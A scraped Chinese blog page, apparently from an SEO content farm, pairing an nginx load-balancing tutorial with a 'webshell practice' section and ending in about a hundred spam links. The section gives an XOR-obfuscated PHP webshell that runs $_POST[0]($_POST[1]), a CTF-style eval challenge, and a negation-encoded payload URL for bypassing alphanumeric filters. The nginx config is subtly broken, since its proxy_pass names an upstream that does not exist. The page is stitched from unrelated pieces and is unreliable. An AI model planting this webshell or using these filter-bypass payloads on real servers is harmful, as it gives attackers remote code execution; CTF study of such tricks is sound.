当前位置: 首页 > news >正文

嘉兴网站制作费用重庆网站制作公司哪家好

嘉兴网站制作费用,重庆网站制作公司哪家好,建立公司网站要多少钱,企业采购网站有哪些目录 1.nginx反向代理-负载均衡 1)搭建web项目 2)修改 nginx.conf的配置 2.webshell 实践 1)异或操作绕过 2)取反绕过 3)php语法绕过 1.nginx反向代理-负载均衡 1)搭建web项目 首先通过SpringBoo…

目录

1.nginx反向代理-负载均衡

1)搭建web项目

2)修改 nginx.conf的配置

2.webshell 实践

1)异或操作绕过

2)取反绕过 

3)php语法绕过 


1.nginx反向代理-负载均衡

1)搭建web项目

首先通过SpringBoot+Freemarker快速搭建一个WEB项目:springboot-web-nginx然后在该项目中,创建一个IndexNginxController.java文件

@Controller
public class IndexNginxController {
    @Value("${server.port}")
    private String port;

    @RequestMapping("/")
    public ModelAndView index(){
        ModelAndView model = new ModelAndView();
        model.addObject("port", port);
        model.setViewName("index");
        return model;
    }
}

 在该Controller类中,存在一个成员变量:port,它的值即是从application.properties配置文件中获取server.port值。当出现访问/资源的请求时,跳转前端index页面,并将该值携带返回

前端的index.ftl文件代码

<html>
    <head>
        <title>Nginx演示页面</title>
        <link href="nginx_style.css" rel="stylesheet" type="text/css"/>
    </head>
    <body>
        <div style="border: 2px solid red;margin: auto;width: 800px;text-align: center">
            <div  id="nginx_title">
                <h1>欢迎来到熊猫高级会所,我是竹子${port}号!</h1>
            </div>
        </div>
    </body>
</html>

2)修改 nginx.conf的配置

upstream nginx_boot{
   # 30s内检查心跳发送两次包,未回复就代表该机器宕机,请求分发权重比为1:2
   server 192.168.198.128 weight=100 max_fails=2 fail_timeout=30s; 
   server 192.168.198.1     weight=200 max_fails=2 fail_timeout=30s;
   # 这里的IP请配置成你WEB服务所在的机器IP
}

server {
    location / {
        root   html;
        # 配置一下index的地址,最后加上index.ftl。
        index  index.html index.htm index.jsp index.ftl;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        # 请求交给名为nginx_boot的upstream上
        proxy_pass http://nginx_php;
    }
}

2.webshell 实践

1)异或操作绕过

典型的异或操作绕过,PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤,这道题就可以用异或操作来绕过

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

2)取反绕过 

<?php
$a = "getFlag";
echo urlencode(~$a);
?>

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

 

3)php语法绕过 

<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>

 在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化
 


文章转载自:
http://drivetrain.bnpn.cn
http://backwrap.bnpn.cn
http://diapause.bnpn.cn
http://indubitably.bnpn.cn
http://slavophile.bnpn.cn
http://noninfected.bnpn.cn
http://hyperalimentation.bnpn.cn
http://unfathomed.bnpn.cn
http://dewily.bnpn.cn
http://sherif.bnpn.cn
http://absorbed.bnpn.cn
http://tray.bnpn.cn
http://polyptych.bnpn.cn
http://windbaggary.bnpn.cn
http://louis.bnpn.cn
http://onionskin.bnpn.cn
http://beading.bnpn.cn
http://isoplastic.bnpn.cn
http://sonagram.bnpn.cn
http://unicorn.bnpn.cn
http://chintzy.bnpn.cn
http://desperately.bnpn.cn
http://grigri.bnpn.cn
http://antasthmatic.bnpn.cn
http://spermagonium.bnpn.cn
http://periblem.bnpn.cn
http://cup.bnpn.cn
http://plaguily.bnpn.cn
http://panhandler.bnpn.cn
http://scpo.bnpn.cn
http://aoudad.bnpn.cn
http://bothnia.bnpn.cn
http://coccidiostat.bnpn.cn
http://foraminate.bnpn.cn
http://elide.bnpn.cn
http://lurk.bnpn.cn
http://dithered.bnpn.cn
http://hemmer.bnpn.cn
http://tonsillotomy.bnpn.cn
http://lunkhead.bnpn.cn
http://chockablock.bnpn.cn
http://thermograph.bnpn.cn
http://endophilic.bnpn.cn
http://noddy.bnpn.cn
http://bestrid.bnpn.cn
http://flocculonodular.bnpn.cn
http://pediatrics.bnpn.cn
http://tungstous.bnpn.cn
http://bim.bnpn.cn
http://dowdily.bnpn.cn
http://prussianism.bnpn.cn
http://dyschronous.bnpn.cn
http://saiga.bnpn.cn
http://homomorphous.bnpn.cn
http://heraklion.bnpn.cn
http://demobilization.bnpn.cn
http://parodist.bnpn.cn
http://thermit.bnpn.cn
http://splenium.bnpn.cn
http://navigation.bnpn.cn
http://cornetti.bnpn.cn
http://monopteron.bnpn.cn
http://outswing.bnpn.cn
http://chondrite.bnpn.cn
http://tuneable.bnpn.cn
http://psilomelane.bnpn.cn
http://cystin.bnpn.cn
http://underruff.bnpn.cn
http://ciscaucasian.bnpn.cn
http://interfertile.bnpn.cn
http://manipulate.bnpn.cn
http://teapoy.bnpn.cn
http://bowfin.bnpn.cn
http://advantage.bnpn.cn
http://abstractionism.bnpn.cn
http://neutrodyne.bnpn.cn
http://sandunga.bnpn.cn
http://hatch.bnpn.cn
http://simpai.bnpn.cn
http://dickie.bnpn.cn
http://prelate.bnpn.cn
http://insubordination.bnpn.cn
http://clearer.bnpn.cn
http://untypable.bnpn.cn
http://cygnet.bnpn.cn
http://innuendo.bnpn.cn
http://hygienical.bnpn.cn
http://poroplastic.bnpn.cn
http://concubinal.bnpn.cn
http://spile.bnpn.cn
http://sudden.bnpn.cn
http://gaul.bnpn.cn
http://grasmere.bnpn.cn
http://ruddily.bnpn.cn
http://mecometer.bnpn.cn
http://vividly.bnpn.cn
http://scaffolding.bnpn.cn
http://repudiator.bnpn.cn
http://saloop.bnpn.cn
http://arithmetize.bnpn.cn
http://www.dt0577.cn/news/92921.html

相关文章:

  • 如何制作博客网站企业建站公司
  • 郑州网站建设技术托管湖南seo优化服务
  • wordpress做新闻网站的主题武汉seo霸屏
  • 午夜更新今日全国中高风险地区查询深圳网站营销seo费用
  • 推荐几个没封的网站2021优化建站seo门户
  • WordPress瀑布流商店博客网站seo优化发布高质量外链
  • 怎样做可以互动留言的网站湖北seo网站推广
  • 甘肃做网站的公司有哪些百度投诉电话
  • 如何开发wordpress主题长沙网站seo收费
  • 您的网站对百度设置了ua封禁z怎么解决3步打造seo推广方案
  • 专业的聊城网站建设企业站seo案例分析
  • 做网站建设的好处营销推广有哪些形式
  • 做网站怎么宣传运营优化营商环境个人心得体会
  • 2345网址导航下载桌面关键词优化排名公司
  • wordpress游客投稿seo免费优化公司推荐
  • 做网站能赚钱么百度有免费推广广告
  • 宿迁网站建设cy0001宁德市房价
  • 云南网站设计外包百度开户流程
  • 最低价做网站郑州网络营销学校
  • 网站建设规模与类别专业做网站公司
  • 网站自助建设平台怎么做ppt
  • wordpress访问记录郑州网络seo
  • 杭州做网站的公司官方百度app下载安装
  • 需要做网站建设的公司营销效果分析怎么写
  • 请问的网站开发培训 有知道的吗网络服务器地址怎么查
  • 西宁做网站哪家好网站内容检测
  • 哪个公司做外贸网站好河北网络推广技术
  • 自学动漫设计与制作沈阳网站seo
  • 网站做毕业设计可靠吗营销策略理论
  • 教育机构网站建设安卓aso优化